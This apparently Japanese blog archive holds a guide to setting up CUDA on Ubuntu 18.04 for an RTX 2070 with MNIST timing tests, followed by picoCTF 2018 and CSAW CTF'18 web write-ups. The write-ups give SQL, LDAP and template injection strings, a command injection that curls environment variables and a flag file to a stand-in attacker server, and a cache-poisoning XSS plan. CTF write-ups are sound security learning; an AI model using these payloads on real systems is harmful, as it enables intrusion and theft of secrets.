Ubuntu 18.04 で NVIDIA GeForce RTX 2070 を動かすまでの道のり

ついに弊研にもGPUが!

ということで、届いたGPUサーバをさっそくセットアップしてみました。 OSインストール後から、MNISTがGPUで動くまでに何をしたかを中心に書いていきます。

サーバスペック

こんな感じです。 家にもこれくらいのマシンが1台あったらいろいろ充実しそうです。

GPUの利用環境構築

今回はansibleを使って構築していきます。 下記のようなplaybookが出来上がりました。 なお、playbookの実行後にはOSの再起動が必要です。

- hosts: all
  remote_user: server
  gather_facts: no
  become: yes

  tasks:
    - name: inventory_hostname is
      debug: var=inventory_hostname
    - name: Update and upgrade apt packages
      apt:
        upgrade: yes
        update_cache: yes
        cache_valid_time: 86400 # One day

    # CUDA, cuDNN, NCCL, TensorRT
    - name: Add NVIDIA key
      apt_key:
        url: https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub
    - name: Install NVIDIA network deb from the network
      apt:
        deb: "{{ item }}"
      with_items:
        - https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-repo-ubuntu1804_10.0.130-1_amd64.deb
        - https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
        - https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvinfer-runtime-trt-repo-ubuntu1804-5.0.2-ga-cuda10.0_1-1_amd64.deb
    - name: Install CUDA, cuDNN, NCCL, TensorRT based on network deb's config
      apt:
        update_cache: yes
        force: yes
        name: "{{ packages }}"
      vars:
        packages:
          - cuda-10-0
          - libcudnn7=7.5.0.56-1+cuda10.0
          - libcudnn7-dev=7.5.0.56-1+cuda10.0
          - libnccl2=2.4.2-1+cuda10.0
          - libnccl-dev=2.4.2-1+cuda10.0
          - libnvinfer5=5.0.2-1+cuda10.0
          - libnvinfer-dev=5.0.2-1+cuda10.0
    - name: Prevent cuda related packages from upgrading
      command: aptitude hold "{{ item }}"
      with_items:
        - cuda-repo-ubuntu1804
        - nvidia-machine-learning-repo-ubuntu1804
        - nvinfer-runtime-trt-repo-ubuntu1804-5.0.2-ga-cuda10.0
        - cuda-10-0
        - libcudnn7
        - libcudnn7-dev
        - libnccl2
        - libnccl-dev
        - libnvinfer5
        - libnvinfer-dev

このplaybookの中では以下のものをインストールしています。

  • NVIDIAドライバ
  • CUDA
  • cuDNN
  • NCCL
  • TensorRT

NVIDIA ドライバ

NVIDIAが公開しているaptレポジトリを追加しておくことで、CUDAをaptでインストールするときに一緒にインストールされます。

CUDA

CUDA は、NVIDIAが開発しているGPU上でプログラミングをするためのソフトウェアプラットフォームです。 今回インストールするバージョンは、CUDA10.0です。 Ubuntu 18.04 が CUDA10.0 からサポートされたというのと、TensorFlow 1.13.0 が CUDA10.0 をサポートした、という理由からです。

参考: docs.nvidia.com github.com

cuDNN

cuDNNは、NVIDIAが公開しているDeep Learning用のライブラリです。 これを入れておくことでDNNに関連する計算が高速化されます。 NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。

NCCL

NCCLは、NVIDIA Collective Communications Libraryの略で、マルチGPU、マルチノードに対応するためのライブラリです。 TensorFlowのドキュメント ではOptionalとされていますが一応入れます。 こちらも、NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。

TensorRT

TensorRTは、推論の高速化用のランタイムです。 TensorFlowのドキュメント ではOptionalとされていますが一応入れます。 こちらも、NVIDIAが公開しているaptレポジトリを追加しておくことで、aptでインストールできます。

その他

最後に aptitude hold コマンドでインストールしたパッケージのバージョンを固定しています。 こうすることによって、後々 apt-get upgrade したときにCUDAのバージョンが上がってしまっていろいろなものが動かなくなるという悲劇を避けることができます。

GPU関連コマンド

nvidia-smi

nvidia-smi -l 1 で1秒ごとにGPUの仕様状況を表示できます。

+-----------------------------------------------------------------------------+
| NVIDIA-SMI 418.39       Driver Version: 418.39       CUDA Version: 10.1     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|===============================+======================+======================|
|   0  GeForce RTX 2070    On   | 00000000:01:00.0  On |                  N/A |
| 29%   26C    P2    43W / 175W |    575MiB /  7949MiB |     13%      Default |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                       GPU Memory |
|  GPU       PID   Type   Process name                             Usage      |
|=============================================================================|
|    0      6476      G   /usr/lib/xorg/Xorg                            39MiB |
|    0      6508      G   /usr/bin/gnome-shell                          70MiB |
|    0     21667      C   python                                       453MiB |
+-----------------------------------------------------------------------------+

動作確認

前提:

  • anaconda3 で python の環境構築済み

Keras (TensorFlow backend) と chainer の MNIST を動かしてみます。 GPUなしとありの場合の実行時間を time コマンドで比較します。 今回試した MNIST のサンプルでは、GPUありの場合のほうが3倍前後速くなりました。

Keras (TensorFlow backend) を使う場合

インストール方法

pip install tensorflow-gpu>=1.13.1
pip install keras

実行例

コード: https://github.com/keras-team/keras/blob/master/examples/mnist_mlp.py

GPUなし

CUDA_VISIBLE_DEVICES= python mnist_mlp.py
# time コマンドでの実行時間測定結果
300.26user 10.73system 0:44.04elapsed 706%CPU (0avgtext+0avgdata 630744maxresident)k
0inputs+8outputs (0major+164547minor)pagefaults 0swaps

GPU あり

python mnist_mlp.py
# time コマンドでの実行時間測定結果
32.12user 3.86system 0:18.24elapsed 197%CPU (0avgtext+0avgdata 1663376maxresident)k
0inputs+8outputs (0major+354232minor)pagefaults 0swaps

chainer

インストール方法

export CHAINER_BUILD_CHAINERX=1
export CHAINERX_BUILD_CUDA=1
export CUDNN_ROOT_DIR=/usr/local/cuda-10.0
export MAKEFLAGS=-j8  # Using 8 parallel jobs.
pip install --pre cupy
pip install --pre chainer

実行例

コード: https://github.com/chainer/chainer/blob/master/examples/mnist/train_mnist.py

GPUなし

python train_mnist.py --unit 512 --noplot --device -1 --gpu -1
# time コマンドでの実行時間測定結果
687.14user 1008.63system 2:23.76elapsed 1179%CPU (0avgtext+0avgdata 371364maxresident)k
0inputs+14664outputs (0major+119892minor)pagefaults 0swaps

GPUあり

python train_mnist.py --unit 512 --noplot --device 0 --gpu 0
# time コマンドでの実行時間測定結果
39.36user 1.09system 0:39.75elapsed 101%CPU (0avgtext+0avgdata 1895712maxresident)k
0inputs+14576outputs (0major+454376minor)pagefaults 0swaps

詰まったところ

TensorFlow 1.13.0 は CUDA 10.0 をサポートしていますが、 CUDA 10.1 はサポートしていないようです。 現時点で CUDA の最新は 10.1 なので、うっかりしていると 10.1 が入ってしまいます。 こうなると pythonimport tensorflow したときに ImportError: libcublas.so.10.0: cannot open shared object file: No such file or directory などとエラーが出てしまいます。 (CUDA 10.1 はアンインストールしたはずなのに、 nvidia-smi コマンドで "CUDA Version: 10.1" のままになってるのはなんでだろう...)

感想

GPUでの機械学習を成功させるためには、OS, NVIDIA ドライバ, CUDA関連のパッケージ, 機械学習ライブラリのバージョンの組み合わせがかなり限定されるということがわかりました。 何のどのバージョンをインストールすべきなのか、という選択を間違えないことが大切なようです。 一方、そこ以外は想像していたよりはシンプルでした。 GPUを使うまでにはいろんなものをソースコードからビルドしなきゃいけないみたいなイメージがあったのですが、基本的にはaptとpipでなんとかなりました。

参考URL

picoCTF 2018 writeup (Web問題)

Logon - Points: 150

cookie の admin: False を admin: True に変えてページ更新

Irish Name Repo - Points: 200

username: admin password: ' OR 1=1 --

No Login - Points: 200

cookie に admin: true を追加した状態でアクセス

picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}

Secret Agent - Points: 200

user agent を Googlebot にする。

Chrome の場合は Developer tool > 右上の「︙」 > More tools > Network conditions から設定できる

picoCTF{s3cr3t_ag3nt_m4n_134ecd62}

Buttons - Points: 250

button1 は POST 、 button2 は GET のリクエストを送るようになっている。 button2.php に POST して見るだけでいけた。

curl -X POST http://2018shell1.picoctf.com:65107/button2.php

picoCTF{button_button_whose_got_the_button_91f6f39a}

The Vault - Points: 250

php のソースが提供されている。 クエリにマッチするレコードがあれば認証成功となる。 ただし、POST された値に OR が含まれるとインジェクションとみなされてはじかれるようになっている。 OR を使わないインジェクションをすればいい。

username: ' UNION SELECT 1 FROM users -- password: ``

picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}

Artisinal Handcrafted HTTP 3 - Points: 300

ブラウザが発行する HTTP リクエストを生で真似て投げる問題。 nc 2018shell1.picoctf.com 33281 で接続できるプロキシサーバが与えられる。 プロキシサーバを通してフラグを持つサーバ flag.local にアクセスする。 プロキシを通じてリクエストを投げるには nc 2018shell1.picoctf.com 33281 した状態で生の HTTP リクエストを発行する必要がある。 生の HTTP リクエストは、 post man を使って組み立てることもできる。

GET / HTTP/1.1
Host: flag.local
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <p>You need to log in before you can see today's flag.</p>
    </main>
  </body>
</html>
GET /login HTTP/1.1
Host: flag.local
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <h2>Log In</h2>
      <form method="POST" action="login">
        <input type="text" name="user" placeholder="Username" />
        <input type="password" name="pass" placeholder="Password" />
        <input type="submit" />
      </form>
    </main>
  </body>
</html>
POST /login HTTP/1.1
Host: flag.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

user=realbusinessuser&pass=potoooooooo
user=realbusinessuser&pass=potoooooooo
HTTP/1.1 302 Found
x-powered-by: Express
set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/
location: /
vary: Accept
content-type: text/plain; charset=utf-8
content-length: 23
date: Thu, 11 Oct 2018 15:59:02 GMT
connection: close

Found. Redirecting to /
GET / HTTP/1.1
Host: flag.local
Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D;
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <div class="user">Real Business Employee</div>
      <a href="/logout">Logout</a>
    </header>
    <main>
      <p>Hello <b>Real Business Employee</b>!  Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}</code>.</p>
    </main>
  </body>
</html>

Flaskcards - Points: 350

サーバサイドテンプレートインジェクションを使う。

以下を Question もしくは Answer フォームに入力すると、 flask の設定が出力される。

{{config.items()}}

fancy-alive-monitoring - Points: 400

問題概要

Monitoring tool と称した web ページが与えられる。 IP アドレスをフォームから submit すると、その IP に ping を打ってくれるというもの。 ソースコード index.php が与えられるので、中身を読むことができる。

TL;DR

  • コマンドインジェクション

解法

サーバ/クライエントサイド それぞれにて正規表現を使って validation チェックをしている。 クライエントサイドのチェックは、 console から check() 関数を上書きすれば回避できる。 サーバサイドのチェックには穴があって、最後に $ が抜けているので、submit した文字列が IP アドレスから始まってさえいればチェックを通過してしまう。 例えば 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com などとすると、サーバ側で実行されるコマンドは ping -c 1 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com となり、サーバの環境変数の値を自サーバに POST することができる。

上記コマンドインジェクションを使って、以下の手順で攻撃を行っていく。

  • 127.0.0.1 && curl -X POST -F "hoge=`ls`" http://your-server.com でどんなファイルがあるか確認。 super-secret-1765-flag.txt というファイルがあることがわかる。
  • 127.0.0.1 && curl -X POST -F "hoge=`cat super-secret-1765-flag.txt`" http://your-server.com でフラグが取得できる。

CSAW CTF'18 write-up

CSAW CTF'18 write-up

https://ctf.csaw.io の write-up です。

50 - Web - Ldab

問題概要

LDAP ユーザの検索ページが与えられる。

ポイント

解法

LDAP 認証のクエリに対して injection をかける。

*))(|(objectClass=* をフォームに入力して検索すると flag を取得できる。

flag{ld4p_inj3ction_i5_a_th1ng}

100 - Web - SSO

問題概要

OAuth 2 で保護された web ページにadminとしてログインできればok

ポイント

  • OAuth2

解法

OAuth 2 の認証の流れに従ってリクエストを発行していき、admin の token を取得できればok。

参考:

www.aperikube.fr www.digitalocean.com

200 - Web - Hacker Movie Club

問題概要

ポイント

  • Cache poisoning
  • X-Forwarded-Host ヘッダ

TL;DR

  1. htmlテンプレートファイル(サーバサイドでキャッシュされている)を偽ファイルをキャッシュさせる
  2. 偽ファイルにXSSを仕込んでおく
  3. Report 機能を使って XSS を仕込んだページに admin を訪問させる

解法

/cdn.js が読み込まれているので、中身を見てみます。

for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

これは、

  • <head> タグの中から <script data-cdn="..." data-src="..." ...> となっているようなタグを見つける
  • //${cdn}/cdn/${src} からスクリプトを取得して新たな <script> タグとして追加する

という処理になります。 <head> タグの中で <script data-cdn="..." data-src="..." ...> となっているようなタグは以下の2つです。

<script data-src="mustache.min.js" data-cdn="827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services"></script>

mustache.min.js はおそらく単なるライブラリなので、 app.js のほうのタグにより取得されるスクリプトを見てみます。

var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});

このコードから以下のことが分かります。

  • /api/movies からなにかのデータを取得しているようだ
  • //827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst からなにかのデータを取得しているようだ
  • report をしたときの処理のコメント // The admin is on her way to check the page を見る限り、report を送ると admin がページを見に来てくれるようだ

まず、 console で fetch('/api/movies').then(r=>r.json()).then(j=>console.log(JSON.stringify(j))) と実行して /api/movies から取得したデータの中身を見てみてます。

{"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017},{"admin_only":false,"length":"1 Hour, 47 Minutes","name":"Hackers","year":1995},{"admin_only":false,"length":"1 Hour, 36 Minutes","name":"TRON","year":1982},{"admin_only":false,"length":"2 Hours, 5 Minutes","name":"Tron: Legacy","year":2010},{"admin_only":false,"length":"2 Hours, 25 Minutes","name":"Minority Report","year":2002},{"admin_only":false,"length":"2 Hours, 37 Minutes","name":"eXistenZ","year":1999},{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}

movies の一番最後に {"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018} なるデータがあります。 どうやら、admin として /api/movies にアクセスすると moives の一番最後の部分にに含まれていそうな気がしてきます。

次に、 fetch(//827eb0db2088a89ecce9f4b29bddb733418294fc.hm.vulnerable.services/cdn/main.mst).then(r=>r.text()).then(text=>console.log(text)) を実行して main.mst を取得して中身を見てみます。

<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
  {{^admin_only}}
    <tr>
      <td>{{ name }}</td>
      <td>{{ year }}</td>
      <td>{{ length }}</td>
    </tr>
  {{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

なにやらtemplateのようです。これが映画一覧の表示部分のtemplateになっているようです。

これらの観察をまとめると、以下の通りの手順で flag を取得できる。

  • cdn.js で設定している X-Forwarded-Host の値を自サーバのIPに偽装して自サーバの偽の main.mst をキャッシュさせる。
  • 自サーバの偽の main.mst に XSS を仕込んでおき、 movies の値を自サーバに送信するようにする。
  • report をして、admin が XSS を仕込んだ main.mst を使ってくれるようにする。

参考:

lud1161.github.io portswigger.net

400 - Web - No Vulnerable Services

問題概要

ポイント

解法

Comming soon ...